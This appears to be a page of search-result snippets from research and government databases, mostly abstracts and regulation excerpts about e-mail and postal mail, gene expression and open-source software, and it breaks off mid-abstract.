CONTRACTING ORGANIZATION: Howard University Washington, DC 20059 REPORT DATE: October 2001 TYPE OF REPORT: Final PREPARED FOR: U.S. Army Medical...RIGHTS LEGEND Award Number: DAMD17-98-1-8485 Organization: Howard University Those portions of the technical data contained in this report marked as...Ph.D. 7. PERFORMING ORGANIZATION NAME(S) AND ADDRESS(ES) S. PERFORMING ORGANIZATION REPORT NUMBER Howard University Washington, DC 20059 E-mail

49 CFR 107.109 - Application for renewal.

Code of Federal Regulations, 2010 CFR

2010-10-01

... submitted by electronic mail (e-mail) to: [email protected] Electronic submissions need not be... the name, street and mailing addresses, e-mail address (if available), US DOT Registration number (if... name, street and mailing addresses, e-mail address (if available), and telephone number of an...

76 FR 76619 - International Mail: New Prices and Fee Changes-Mailing Services

Federal Register 2010, 2011, 2012, 2013, 2014

2011-12-08

... POSTAL SERVICE 39 CFR Part 20 International Mail: New Prices and Fee Changes--Mailing Services... Individual Country Listings (ICLs) to reflect price adjustments for First-Class Mail International[supreg... mailing services price adjustments with the Postal Regulatory Commission (PRC), effective on January 22...

76 FR 7114 - International Mail: Mailing Services Price Change

Federal Register 2010, 2011, 2012, 2013, 2014

2011-02-09

... POSTAL SERVICE 39 CFR Part 20 International Mail: Mailing Services Price Change AGENCY: Postal... States Postal Service, International Mail Manual (IMM[supreg]) for Mailing Services. This price change correlates to the Postal Service's January 13, 2011 filing of Docket No. R2011-2, Notice of Price Adjustment...

49 CFR 107.105 - Application for special permit.

Code of Federal Regulations, 2010 CFR

2010-10-01

...; or (iii) Be submitted by electronic mail (e-mail) to: [email protected] Electronic submissions need not be submitted in duplicate; (2) State the name, street and mailing addresses, e-mail address... the applicant is not an individual, also state the name, street and mailing addresses, e-mail address...

The Impact of a Targeted Training Program on E-Mail System Processing Capabilities and Self-Perception of E-Mail Overload

ERIC Educational Resources Information Center

Einstein, Michael M.

2014-01-01

As business e-mail volumes continue to grow and employees spend increasingly larger portions of their day processing e-mail, there is strong evidence of the negative impacts of e-mail processing, especially with respect to e-mail overload. This study sought to determine whether a training program focused on select e-mail features and processing…

Protective response in renal transplantation: no clinical or molecular differences between open and laparoscopic donor nephrectomy.

PubMed

Machado, Christiano; Malheiros, Denise Maria Avancini Costa; Adamy, Ari; Santos, Luiz Sergio; Silva Filho, Agenor Ferreira da; Nahas, William Carlos; Lemos, Francine Brambate Carvalhinho

2013-04-01

Prolonged warm ischemia time and increased intra-abdominal pressure caused by pneumoperitoneum during a laparoscopic donor nephrectomy could enhance renal ischemia reperfusion injury. For this reason, laparoscopic donor nephrectomy may be associated with a slower graft function recovery. However, an adequate protective response may balance the ischemia reperfusion damage. This study investigated whether laparoscopic donor nephrectomy modified the protective response of renal tissue during kidney transplantation. Patients undergoing live renal transplantation were prospectively analyzed and divided into two groups based on the donor nephrectomy approach used: 1) the control group, recipients of open donor nephrectomy (n = 29), and 2) the study group, recipients of laparoscopic donor nephrectomy (n = 26). Graft biopsies were obtained at two time points: T-1 = after warm ischemia time and T+1 = 45 minutes after kidney reperfusion. The samples were analyzed by immunohistochemistry for the Bcl-2 and HO-1 proteins and by real-time polymerase chain reaction for the mRNA expression of Bcl-2, HO-1 and vascular endothelial growth factor. The area under the curve for creatinine and delayed graft function were similar in both the laparoscopic and open groups. There was no difference in the protective gene expression between the laparoscopic donor nephrectomy and open donor nephrectomy groups. The protein expression of HO-1 and Bcl-2 were similar between the open and laparoscopic groups. Furthermore, the gene expression of B-cell lymphoma 2 correlated with the warm ischemia time in the open group (p = 0.047) and that of vascular endothelial growth factor with the area under the curve for creatinine in the laparoscopic group (p = 0.01). The postoperative renal function and protective factor expression were similar between laparoscopic donor nephrectomy and open donor nephrectomy. These findings ensure laparoscopic donor nephrectomy utilization in renal transplantation.

Expressing clinical data sets with openEHR archetypes: a solid basis for ubiquitous computing.

PubMed

Garde, Sebastian; Hovenga, Evelyn; Buck, Jasmin; Knaup, Petra

2007-12-01

The purpose of this paper is to analyse the feasibility and usefulness of expressing clinical data sets (CDSs) as openEHR archetypes. For this, we present an approach to transform CDS into archetypes, and outline typical problems with CDS and analyse whether some of these problems can be overcome by the use of archetypes. Literature review and analysis of a selection of existing Australian, German, other European and international CDSs; transfer of a CDS for Paediatric Oncology into openEHR archetypes; implementation of CDSs in application systems. To explore the feasibility of expressing CDS as archetypes an approach to transform existing CDSs into archetypes is presented in this paper. In case of the Paediatric Oncology CDS (which consists of 260 data items) this lead to the definition of 48 openEHR archetypes. To analyse the usefulness of expressing CDS as archetypes, we identified nine problems with CDS that currently remain unsolved without a common model underpinning the CDS. Typical problems include incompatible basic data types and overlapping and incompatible definitions of clinical content. A solution to most of these problems based on openEHR archetypes is motivated. With regard to integrity constraints, further research is required. While openEHR cannot overcome all barriers to Ubiquitous Computing, it can provide the common basis for ubiquitous presence of meaningful and computer-processable knowledge and information, which we believe is a basic requirement for Ubiquitous Computing. Expressing CDSs as openEHR archetypes is feasible and advantageous as it fosters semantic interoperability, supports ubiquitous computing, and helps to develop archetypes that are arguably of better quality than the original CDS.

75 FR 65593 - Periodic Reporting

Federal Register 2010, 2011, 2012, 2013, 2014

2010-10-26

... waivers for First-Class Mail Flats at the district level, non-retail First- Class Mail Parcels, all categories of Standard Mail, Outside County Periodicals, non-retail Media Mail, Library Mail, Bound Printed...

Employing open/hidden administration in psychotherapy research: A randomized-controlled trial of expressive writing

PubMed Central

Tondorf, Theresa; Kaufmann, Lisa-Katrin; Degel, Alexander; Locher, Cosima; Birkhäuer, Johanna; Gerger, Heike; Ehlert, Ulrike

2017-01-01

Psychotherapy has been shown to be effective, but efforts to prove specific effects by placebo-controlled trials have been practically and conceptually hampered. We propose that adopting open/hidden designs from placebo research would offer a possible way to establish specificity in psychotherapy. Therefore, we tested the effects of providing opposing treatment rationales in an online expressive writing intervention on affect in healthy subjects. Results indicate that it was possible to conduct the expressive writing intervention both covertly and openly, but that participants in the hidden administration condition did not fully benefit from the otherwise effective expressive writing intervention in the long-run. Effect sizes between open and hidden administration groups were comparable to pre-post effect sizes of the intervention. While this finding is important for the understanding of psychotherapy's effects per se, it also proves that alternative research approaches to establish specificity are feasible and informative in psychotherapy research. Trial registration: German Clinical Trials Register DRKS00009428 PMID:29176768

Empathy in Medical Students Is Moderated by Openness to Spirituality.

PubMed

Damiano, Rodolfo F; DiLalla, Lisabeth F; Lucchetti, Giancarlo; Dorsey, J Kevin

2017-01-01

Empathy is one component of medical student education that may be important to nurture, but there are many potential psychological barriers to empathy, such as student depression, burnout, and low quality of life or wellness behaviors. However, few studies have addressed how positive behaviors such as wellness and spirituality, in combination with these barriers, might affect empathy. We hypothesized a negative relationship between psychological distress and empathy, and a positive relationship between empathy and wellness behaviors. We also hypothesized that openness to others' spirituality would moderate the effects of psychological distress on empathy in medical students. This cross-sectional study included 106 medical students in a public medical school in the U.S. Midwest. Mailed questionnaires collected student information on specialty choice and sociodemographics, empathy, spirituality openness, religiosity, wellness, burnout, depression, anxiety, and stress. Hierarchical multiple regression analysis was conducted, with empathy as the dependent variable, psychological distress and all wellness behaviors as predictors, and spirituality openness as a moderator. Specialty choice, burnout, wellness behaviors, spirituality openness, and religiosity were significant independent predictors of empathy. In addition, when added singly, one interaction was significant: Spirituality Openness × Depression. Spirituality openness was related to empathy only in nondepressed students. Empathy of students with higher levels of depression was generally lower and not affected by spirituality openness. Nondepressed students who reported lower openness to spirituality might benefit most from empathy training, because these students reported the lowest empathy. Highly depressed or disengaged students may require interventions before empathy can be addressed. In addition, burnout was related to lower levels of empathy and wellness was related to higher levels. These provide potential points of intervention for medical schools developing tools to increase medical trainees' empathy levels.

bnstruct: an R package for Bayesian Network structure learning in the presence of missing data.

PubMed

Franzin, Alberto; Sambo, Francesco; Di Camillo, Barbara

2017-04-15

A Bayesian Network is a probabilistic graphical model that encodes probabilistic dependencies between a set of random variables. We introduce bnstruct, an open source R package to (i) learn the structure and the parameters of a Bayesian Network from data in the presence of missing values and (ii) perform reasoning and inference on the learned Bayesian Networks. To the best of our knowledge, there is no other open source software that provides methods for all of these tasks, particularly the manipulation of missing data, which is a common situation in practice. The software is implemented in R and C and is available on CRAN under a GPL licence. francesco.sambo@unipd.it. Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com

12 CFR 1202.9 - How do I appeal a response denying my FOIA request?

Code of Federal Regulations, 2013 CFR

2013-01-01

... writing directly to the FOIA Appeals Officer through electronic mail, mail, delivery service, or facsimile. The electronic mail address is: [email protected] For mail or delivery service, the mailing address is... by marking electronic mail, letters, or facsimiles and the subject line, envelope, or facsimile cover...

12 CFR 1202.9 - How do I appeal a response denying my FOIA request?

Code of Federal Regulations, 2014 CFR

2014-01-01

... writing directly to the FOIA Appeals Officer through electronic mail, mail, delivery service, or facsimile. The electronic mail address is: [email protected] For mail or delivery service, the mailing address is... by marking electronic mail, letters, or facsimiles and the subject line, envelope, or facsimile cover...

Information Management: Records Management: Official Mail and Distribution Management

DTIC Science & Technology

1992-11-30

Official Mail Cost Control Program and the Department of the Army Official Mail and Distribution Management Program. It addresses the use of postage meters...mailing permits, special mail services, postage stamps, correspondence distribution management , mailing procedures for certain U.S. Army activities and U.S. citizens overseas, and street addressing of correspondence.

Professional e-mail communication among health care providers: proposing evidence-based guidelines.

PubMed

Malka, S Terez; Kessler, Chad S; Abraham, John; Emmet, Thomas W; Wilbur, Lee

2015-01-01

E-mail is now a primary method of correspondence in health care, and proficiency with professional e-mail use is a vital skill for physicians. Fundamentals of e-mail courtesy can be derived from lay literature, but there is a dearth of scientific literature that addresses the use of e-mail between physicians. E-mail communication between providers is generally more familiar and casual than other professional interactions, which can promote unprofessional behavior or misunderstanding. Not only e-mail content but also wording, format, and tone may influence clinical recommendations and perceptions of the e-mail sender. In addition, there are serious legal and ethical implications when unprofessional or unsecured e-mails related to patient-identifying information are exchanged or included within an electronic medical record. The authors believe that the appropriate use of e-mail is a vital skill for physicians, with serious legal and ethical ramifications and the potential to affect professional development and patient care. In this article, the authors analyze a comprehensive literature search, explore several facets of e-mail use between physicians, and offer specific recommendations for professional e-mail use.

The formulaic schema in the minds of two generations of native speakers

PubMed Central

Van Lancker Sidtis, Diana; Cameron, Krista; Bridges, Kelly; Sidtis, John J.

2015-01-01

Schemata are expressions that are fixed except for slots available for novel words (I’m not a ______ person). Our goals were to quantify speakers’ knowledge, examine semantic flexibility in open slots, and compare performance data in two generations of speakers using cloze procedures in formulaic expressions, schemata open slots, fixed portions of schemata, and novel sentences. Fewer unique words appeared for the schemata-fixed and formulaic exemplars, reflecting speakers’ knowledge of these utterances; the most semantic categories appeared for schemata-open responses. Age groups did not differ. Schemata exemplify creative interplay between novel lexical retrieval and fixed formulaic expression. PMID:26392923

Modular protein expression by RNA trans-splicing enables flexible expression of antibody formats in mammalian cells from a dual-host phage display vector.

PubMed

Shang, Yonglei; Tesar, Devin; Hötzel, Isidro

2015-10-01

A recently described dual-host phage display vector that allows expression of immunoglobulin G (IgG) in mammalian cells bypasses the need for subcloning of phage display clone inserts to mammalian vectors for IgG expression in large antibody discovery and optimization campaigns. However, antibody discovery and optimization campaigns usually need different antibody formats for screening, requiring reformatting of the clones in the dual-host phage display vector to an alternative vector. We developed a modular protein expression system mediated by RNA trans-splicing to enable the expression of different antibody formats from the same phage display vector. The heavy-chain region encoded by the phage display vector is directly and precisely fused to different downstream heavy-chain sequences encoded by complementing plasmids simply by joining exons in different pre-mRNAs by trans-splicing. The modular expression system can be used to efficiently express structurally correct IgG and Fab fragments or other antibody formats from the same phage display clone in mammalian cells without clone reformatting. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

"Unwalling" the Classroom: Teacher Reaction and Adaptation

ERIC Educational Resources Information Center

Deed, Craig; Lesko, Thomas

2015-01-01

Modern open school architecture abstractly expresses ideas about choice, flexibility and autonomy. While open spaces express and authorise different teaching practice, these versions of school and classrooms present challenges to teaching routines and practice. This paper examines how teachers adapt as they move into new school buildings designed…

Employee Attitudes Regarding Electronic Mail Policies: A Case Study.

ERIC Educational Resources Information Center

Hacker, Kenneth L.; Goss, Blaine; Townley, Charles; Horton, Valerie J.

1998-01-01

Investigates attitudes toward e-mail and e-mail policies through a case study of e-mail users at a university library. Indicates those who use e-mail frequently have more favorable attitudes to it than less frequent users and are more opposed to policies regulating e-mail communication. Notes that employees prefer guidelines to restrictive…

11 CFR 100.27 - Mass mailing (2 U.S.C. 431(23)).

Code of Federal Regulations, 2014 CFR

2014-01-01

... 100.27 Federal Elections FEDERAL ELECTION COMMISSION GENERAL SCOPE AND DEFINITIONS (2 U.S.C. 431) General Definitions § 100.27 Mass mailing (2 U.S.C. 431(23)). Mass mailing means a mailing by United States mail or facsimile of more than 500 pieces of mail matter of an identical or substantially similar...

11 CFR 100.27 - Mass mailing (2 U.S.C. 431(23)).

Code of Federal Regulations, 2012 CFR

2012-01-01

... 100.27 Federal Elections FEDERAL ELECTION COMMISSION GENERAL SCOPE AND DEFINITIONS (2 U.S.C. 431) General Definitions § 100.27 Mass mailing (2 U.S.C. 431(23)). Mass mailing means a mailing by United States mail or facsimile of more than 500 pieces of mail matter of an identical or substantially similar...

11 CFR 100.27 - Mass mailing (2 U.S.C. 431(23)).

Code of Federal Regulations, 2013 CFR

2013-01-01

... 100.27 Federal Elections FEDERAL ELECTION COMMISSION GENERAL SCOPE AND DEFINITIONS (2 U.S.C. 431) General Definitions § 100.27 Mass mailing (2 U.S.C. 431(23)). Mass mailing means a mailing by United States mail or facsimile of more than 500 pieces of mail matter of an identical or substantially similar...

Comparing Response Rates in E-Mail and Paper Surveys: A Meta-Analysis

ERIC Educational Resources Information Center

Shih, Tse-Hua; Fan, Xitao

2009-01-01

This meta-analysis examined 35 study results within last 10 years that directly compared the response rates of e-mail versus mail surveys. Individual studies reported inconsistent findings concerning the response rate difference between e-mail and mail surveys, but e-mail surveys generally have lower response rate (about 20% lower on the average)…

The Educational Impact of E-Mail: Extraverted versus Introverted Students.

ERIC Educational Resources Information Center

Kunderewicz, Larisa; Michener, Stacey; Chambliss, Catherine

College students (N=151) completed surveys assessing the relationship between e-mail use and extraversion. The variables studied included time spent on e-mail; the frequency of e-mail usage; and the purposes e-mail served for each student. The results suggest that extraverts use e-mail as a form of procrastination more than introverts, and that…

STS-36 Commander Creighton in LES outside CCT side hatch during JSC training

NASA Technical Reports Server (NTRS)

1989-01-01

Standing on an inflated cushion outside the side hatch of the crew compartment trainer (CCT), STS-36 Commander John O. Creighton, wearing launch and entry suit (LES), smiles before climbing into the shuttle mockup. The crew escape system (CES) pole extends beyond the side hatch opening. Mission Specialist (MS) Richard M. Mullane is seen at the lower corner of the frame rolling on the safety cushion. CCT is located in JSC's Mockup and Integration Laboratory (MAIL) Bldg 9A. The crewmembers are practicing egress procedures that might be necessary in the event of an emergency aboard the shuttle.

pez: phylogenetics for the environmental sciences.

PubMed

Pearse, William D; Cadotte, Marc W; Cavender-Bares, Jeannine; Ives, Anthony R; Tucker, Caroline M; Walker, Steve C; Helmus, Matthew R

2015-09-01

pez is an R package that permits measurement, modelling and simulation of phylogenetic structure in ecological data. pez contains the first implementation of many methods in R, and aggregates existing data structures and methods into a single, coherent package. pez is released under the GPL v3 open-source license, available on the Internet from CRAN (http://cran.r-project.org). The package is under active development, and the authors welcome contributions (see http://github.com/willpearse/pez). will.pearse@gmail.com. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Doctors Who Are Using E-mail With Their Patients: a Qualitative Exploration

PubMed Central

Patt, Madhavi R; Jenckes, Mollie W; Sands, Daniel Z; Ford, Daniel E

2003-01-01

Background Despite the potential for rapid, asynchronous, documentable communication, the use of e-mail for physician-patient communication has not been widely adopted. Objective To survey physicians currently using e-mail with their patients daily to understand their experiences. Methods In-depth phone interviews of 45 physicians currently using e-mail with patients were audio taped and transcribed verbatim. Two investigators independently qualitatively coded comments. Differences were adjudicated by group consensus. Results Almost all of the 642 comments from these physicians who currently use e-mail with patients daily could be grouped into 1 of 4 broad domains: (1) e-mail access and content, (2) effects of e-mail on the doctor-patient relationship, (3) managing clinical issues by e-mail, and (4) integrating e-mail into office processes. The most consistent theme was that e-mail communication enhances chronic-disease management. Many physicians also reported improved continuity of care and increased flexibility in responding to nonurgent issues. Integration of e-mail into daily workflow, such as utilization of office personnel, appears to be a significant area of concern for many of the physicians. For other issues, such as content, efficiency of e-mail, and confidentiality, there were diverging experiences and opinions. Physicians appear to be selective in choosing which patients they will communicate with via e-mail, but the criteria for selection is unclear. Conclusions These physician respondents did perceive benefits to e-mail with a select group of patients. Several areas, such as identifying clinical situations where e-mail communication is effective, incorporating e-mail into office flow, and being reimbursed for online medical care/communication, need to be addressed before this mode of communication diffuses into most practices. PMID:12857665

The GenABEL Project for statistical genomics.

PubMed

Karssen, Lennart C; van Duijn, Cornelia M; Aulchenko, Yurii S

2016-01-01

Development of free/libre open source software is usually done by a community of people with an interest in the tool. For scientific software, however, this is less often the case. Most scientific software is written by only a few authors, often a student working on a thesis. Once the paper describing the tool has been published, the tool is no longer developed further and is left to its own device. Here we describe the broad, multidisciplinary community we formed around a set of tools for statistical genomics. The GenABEL project for statistical omics actively promotes open interdisciplinary development of statistical methodology and its implementation in efficient and user-friendly software under an open source licence. The software tools developed withing the project collectively make up the GenABEL suite, which currently consists of eleven tools. The open framework of the project actively encourages involvement of the community in all stages, from formulation of methodological ideas to application of software to specific data sets. A web forum is used to channel user questions and discussions, further promoting the use of the GenABEL suite. Developer discussions take place on a dedicated mailing list, and development is further supported by robust development practices including use of public version control, code review and continuous integration. Use of this open science model attracts contributions from users and developers outside the "core team", facilitating agile statistical omics methodology development and fast dissemination.

A randomized study of electronic mail versus telephone follow-up after emergency department visit.

PubMed

Ezenkwele, Ugo A; Sites, Frank D; Shofer, Frances S; Pritchett, Ellen N; Hollander, Judd E

2003-02-01

This study was conducted to determine whether electronic mail (e-mail) increases contact rates after patients are discharged from the emergency department (ED). Following discharge, patients were randomized to be contacted by telephone or e-mail. The main outcome was success of contact. Secondary outcome was the median time of response. There were 1561 patients initially screened. Of these, 444 had e-mail and were included in the study. Half were contacted by telephone and the rest via e-mail. Our telephone contact rate was 58% (129/222) after two calls in a 48-h period and our e-mail contact was 41% (90/222). The telephone was nearly two times better than e-mail. The median time of response was 48 h for e-mail and 18 h for telephone. It is concluded that the telephone is a better modality of contact than e-mail for patients discharged from the ED.

TLM-Quant: an open-source pipeline for visualization and quantification of gene expression heterogeneity in growing microbial cells.

PubMed

Piersma, Sjouke; Denham, Emma L; Drulhe, Samuel; Tonk, Rudi H J; Schwikowski, Benno; van Dijl, Jan Maarten

2013-01-01

Gene expression heterogeneity is a key driver for microbial adaptation to fluctuating environmental conditions, cell differentiation and the evolution of species. This phenomenon has therefore enormous implications, not only for life in general, but also for biotechnological applications where unwanted subpopulations of non-producing cells can emerge in large-scale fermentations. Only time-lapse fluorescence microscopy allows real-time measurements of gene expression heterogeneity. A major limitation in the analysis of time-lapse microscopy data is the lack of fast, cost-effective, open, simple and adaptable protocols. Here we describe TLM-Quant, a semi-automatic pipeline for the analysis of time-lapse fluorescence microscopy data that enables the user to visualize and quantify gene expression heterogeneity. Importantly, our pipeline builds on the open-source packages ImageJ and R. To validate TLM-Quant, we selected three possible scenarios, namely homogeneous expression, highly 'noisy' heterogeneous expression, and bistable heterogeneous expression in the Gram-positive bacterium Bacillus subtilis. This bacterium is both a paradigm for systems-level studies on gene expression and a highly appreciated biotechnological 'cell factory'. We conclude that the temporal resolution of such analyses with TLM-Quant is only limited by the numbers of recorded images.

Partnering with health care systems to assess tobacco treatment practices and beliefs among clinicians: evaluating the process.

PubMed

Celestin, Michael D; Hart, Alton; Moody-Thomas, Sarah

2014-05-29

Tobacco is a major cause of preventable illness and death. However, clinician use of an evidence-based guideline for treatment of tobacco use is low. This case study describes the process for conducting a pre-intervention assessment of clinician practices and beliefs regarding treatment of tobacco use. Louisiana State University Health System, one of the largest safety-net public hospital systems in the United States, consists of 10 facilities in population centers across the state of Louisiana. The system serves a large proportion of the state's underinsured and uninsured, low-income, and racial/ethnic minority populations, groups that have high rates of tobacco use. Activities included 1) partnering with hospital administrators to generate support for conducting a clinician assessment, 2) identifying and adapting a survey tool to assess clinicians' practices and beliefs regarding treatment of tobacco use, 3) developing a survey protocol and obtaining approval from the institutional review board, and 4) administering the survey electronically, using the hospital's e-mail system. Existing partnerships and system resources aided survey administration. Use of the hospital's internal e-mail system and distribution of an online survey were effective means to engage clinicians. Following notification, 43.6% of 4,508 clinicians opened their e-mail containing the invitation letter with a Web link to the survey; of these, 83.1% (1,634) completed the survey. Partnering with stakeholders and using existing resources within the health care system are essential to successful implementation of a system-wide survey of clinician practices and beliefs regarding treatment of tobacco use.

OpenFlyData: an exemplar data web integrating gene expression data on the fruit fly Drosophila melanogaster.

PubMed

Miles, Alistair; Zhao, Jun; Klyne, Graham; White-Cooper, Helen; Shotton, David

2010-10-01

Integrating heterogeneous data across distributed sources is a major requirement for in silico bioinformatics supporting translational research. For example, genome-scale data on patterns of gene expression in the fruit fly Drosophila melanogaster are widely used in functional genomic studies in many organisms to inform candidate gene selection and validate experimental results. However, current data integration solutions tend to be heavy weight, and require significant initial and ongoing investment of effort. Development of a common Web-based data integration infrastructure (a.k.a. data web), using Semantic Web standards, promises to alleviate these difficulties, but little is known about the feasibility, costs, risks or practical means of migrating to such an infrastructure. We describe the development of OpenFlyData, a proof-of-concept system integrating gene expression data on D. melanogaster, combining Semantic Web standards with light-weight approaches to Web programming based on Web 2.0 design patterns. To support researchers designing and validating functional genomic studies, OpenFlyData includes user-facing search applications providing intuitive access to and comparison of gene expression data from FlyAtlas, the BDGP in situ database, and FlyTED, using data from FlyBase to expand and disambiguate gene names. OpenFlyData's services are also openly accessible, and are available for reuse by other bioinformaticians and application developers. Semi-automated methods and tools were developed to support labour- and knowledge-intensive tasks involved in deploying SPARQL services. These include methods for generating ontologies and relational-to-RDF mappings for relational databases, which we illustrate using the FlyBase Chado database schema; and methods for mapping gene identifiers between databases. The advantages of using Semantic Web standards for biomedical data integration are discussed, as are open issues. In particular, although the performance of open source SPARQL implementations is sufficient to query gene expression data directly from user-facing applications such as Web-based data fusions (a.k.a. mashups), we found open SPARQL endpoints to be vulnerable to denial-of-service-type problems, which must be mitigated to ensure reliability of services based on this standard. These results are relevant to data integration activities in translational bioinformatics. The gene expression search applications and SPARQL endpoints developed for OpenFlyData are deployed at http://openflydata.org. FlyUI, a library of JavaScript widgets providing re-usable user-interface components for Drosophila gene expression data, is available at http://flyui.googlecode.com. Software and ontologies to support transformation of data from FlyBase, FlyAtlas, BDGP and FlyTED to RDF are available at http://openflydata.googlecode.com. SPARQLite, an implementation of the SPARQL protocol, is available at http://sparqlite.googlecode.com. All software is provided under the GPL version 3 open source license.

Prostate Cancer Evaluation: Design, Synthesis and Evaluation of Novel Enzyme-Activated Proton MRI Contrast Agents

DTIC Science & Technology

2009-10-01

NUMBER E -Mail: 5f. WORK UNIT NUMBER 7. PERFORMING ORGANIZATION NAME(S) AND ADDRESS(ES) 8. PERFORMING ORGANIZATION REPORT NUMBER...transcriptional activation, protein expression, and protein interaction, lacZ gene encoding E . coli β-gal has already been recognized as the most...1) Cell preparation (a) Stably transfected PC3 cell line: E . coli lacZ gene (from pSV-β-gal vector, Promega, Madison,WI) was inserted into high

U.S. Initiatives to Promote Global Internet Freedom: Issues, Policy, and Technology

DTIC Science & Technology

2010-03-17

video sharing sites, and other tools of today’s communications technology has proven to be an unprecedented and often disruptive force in some closed...using newer tools, such as blogs, social networks, video sharing sites, and other aspects of today’s communications technology to express their...Iranians sent VOA over 300 videos a day, along with thousands of still pictures, e-mails, and telephone calls to the agency.2 A variety of control

77 FR 26185 - POSTNET Barcode Discontinuation

Federal Register 2010, 2011, 2012, 2013, 2014

2012-05-03

....17.2 regarding Courtesy Reply Mail (CRM). [Revise the title and text of 3.17.2 as follows:] 3.17.2 Courtesy Reply Mail Courtesy reply mail (CRM) is reply mail other than BRM or MRM enclosed in other mail...

Internet-Enabled Audio Communication: A Richer Medium For Students Feedback?

ERIC Educational Resources Information Center

Johnson, Roy D.; Keil, Mark

This study compared the effects of using voice mail (v-mail) to electronic mail (e-mail) over the Internet to provide student feedback using Media Richness Theory (MRT) and Social Presence Theory (SPT) as the theoretical framework. MRT and SPT would predict that v-mail would be perceived as higher than e-mail in media richness and social presence.…

Chlorate reductase is cotranscribed with cytochrome c and other downstream genes in the gene cluster for chlorate respiration of Ideonella dechloratans.

PubMed

Hellberg Lindqvist, Miriam; Nilsson, Thomas; Sundin, Pontus; Rova, Maria

2015-03-01

The chlorate-respiring bacterium Ideonella dechloratans is a facultative anaerobe that can use both oxygen and chlorate as terminal electron acceptors. The genes for the enzymes chlorate reductase (clrABDC) and chlorite dismutase, necessary for chlorate metabolism and probably acquired by lateral gene transfer, are located in a gene cluster that also includes other genes potentially important for chlorate metabolism. Among those are a gene for cytochrome c (cyc) whose gene product may serve as an electron carrier during chlorate reduction, a cofactor biosynthesis gene (mobB) and a predicted transcriptional regulator (arsR). Only chlorate reductase and chlorite dismutase have been shown to be expressed in vivo. Here, we report the in vivo production of a single polycistronic transcript covering eight open reading frames including clrABDC, cyc, mobB and arsR. Transcription levels of the cyc and clrA genes were compared to each other by the use of qRT-PCR in RNA preparations from cells grown under aerobic or chlorate reducing anaerobic conditions. The two genes showed the same mRNA levels under both growth regimes, indicating that no transcription termination occurs between them. Higher transcription levels were observed at growth without external oxygen supply. Implications for electron pathway integration following lateral gene transfer are discussed. © FEMS 2015. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

[Hazardous material and safety conditions in veterinary practice. 2: Flammable liquid, disinfectants and cleansing media, cytostatics, pressurized gases, liquid nitrogen, narcotic gases, mailing of diagnostic samples, hazardous waste].

PubMed

Sliwinski-Korell, A; Lutz, F

1998-05-01

In the last years the standards for professional handling of hazardous material as well as health and safety in the veterinary practice became considerably more stringent. This is expressed in various safety regulations, particularly the decree of hazardous material and the legislative directives concerning health and safety at work. In part 1, a definition based on the law for hazardous material was given and the potential risks were mentioned. The correct documentation regarding the protection of personal and the purchase, storage, working conditions and removal of hazardous material was explained. General rules for the handling of hazardous material were described. In part 2, partial emphasis is put on the handling of flammable liquids, disinfectants, cytostatica, pressurised gases, liquid nitrogen, narcotics, mailing of potentially infectious material and safe disposal of hazardous waste. Advice about possible unrecognized hazards and references are also given.

12 CFR 620.21 - Contents of the information statement and other information to be furnished in connection with...

Code of Federal Regulations, 2010 CFR

2010-01-01

... is to be held in more than one session and paper mail or electronic mail balloting will be conducted... only at the first session. (B) If shareholders will not vote solely by paper mail or electronic mail... annual meeting is held in a region, and if paper mail or electronic mail balloting will be conducted at...

Tobacco industry marketing: an analysis of direct mail coupons and giveaways.

PubMed

Brock, Betsy; Schillo, Barbara A; Moilanen, Molly

2015-09-01

Despite marketing prohibitions, tobacco company marketing expenditures in the USA have continued to grow with tobacco companies shifting focus towards point-of-sale-marketing and direct marketing to consumers through the mail and on the web. The purpose of this observational study was to investigate the content of direct marketing sent in response to registrations on select industry websites. An analysis of 659 tobacco company direct mail marketing pieces received between July 2011 and June 2012 was conducted. Mailings were coded for type and value of tobacco coupons, type of tobacco products promoted with coupons and number and type of giveaways offered. The most common type of mailing was tobacco coupon distribution; 86.5% of the mailings contained at least one coupon. Mailings with coupons had an average estimated coupon value of $4.17. The total coupon value of each mailing varied by the type of coupon offer and product promoted. The Camel and Marlboro coupon mailings heavily promoted snus, with over half of Camel coupon mailings (60.9%) and nearly half (44.8%) of Marlboro coupon mailings promoting snus alone. In addition, 47.9% of Marlboro coupon mailings and 11.4% of Camel mailings promoted snus alongside cigarettes. Tobacco companies use direct mail marketing to communicate with consumers and provide valuable tobacco coupons. More research is needed to understand the content of these mailings and how they are used by tobacco consumers in order to develop effective policy solutions. Published by the BMJ Publishing Group Limited. For permission to use (where not already granted under a licence) please go to http://group.bmj.com/group/rights-licensing/permissions.

Physicians' use of and attitudes toward electronic mail for patient communication.

PubMed

Gaster, Barak; Knight, Christopher L; DeWitt, Dawn E; Sheffield, John V L; Assefi, Nassim P; Buchwald, Dedra

2003-05-01

To assess physicians' use of and attitudes toward electronic mail (e-mail) for patient communication, we conducted a mail-in survey of physicians who see patients in outpatient clinics affiliated with a large academic medical center (N = 283). Seventy-two percent of physicians reported using e-mail to communicate with patients, averaging 7.7 e-mails from patients per month. The lowest level of use was by community-based primary care physicians (odds ratio, 0.22; 95% confidence interval, 0.08 to 0.59). Those physicians who reported using e-mail with patients reported high satisfaction with its use. Although physicians were concerned about the confidentiality of e-mail, few discussed this issue with patients.

Human blood RNA stabilization in samples collected and transported for a large biobank

PubMed Central

2012-01-01

Background The Norwegian Mother and Child Cohort Study (MoBa) is a nation-wide population-based pregnancy cohort initiated in 1999, comprising more than 108.000 pregnancies recruited between 1999 and 2008. In this study we evaluated the feasibility of integrating RNA analyses into existing MoBa protocols. We compared two different blood RNA collection tube systems – the PAXgene™ Blood RNA system and the Tempus™ Blood RNA system - and assessed the effects of suboptimal blood volumes in collection tubes and of transportation of blood samples by standard mail. Endpoints to characterize the samples were RNA quality and yield, and the RNA transcript stability of selected genes. Findings High-quality RNA could be extracted from blood samples stabilized with both PAXgene and Tempus tubes. The RNA yields obtained from the blood samples collected in Tempus tubes were consistently higher than from PAXgene tubes. Higher RNA yields were obtained from cord blood (3 – 4 times) compared to adult blood with both types of tubes. Transportation of samples by standard mail had moderate effects on RNA quality and RNA transcript stability; the overall RNA quality of the transported samples was high. Some unexplained changes in gene expression were noted, which seemed to correlate with suboptimal blood volumes collected in the tubes. Temperature variations during transportation may also be of some importance. Conclusions 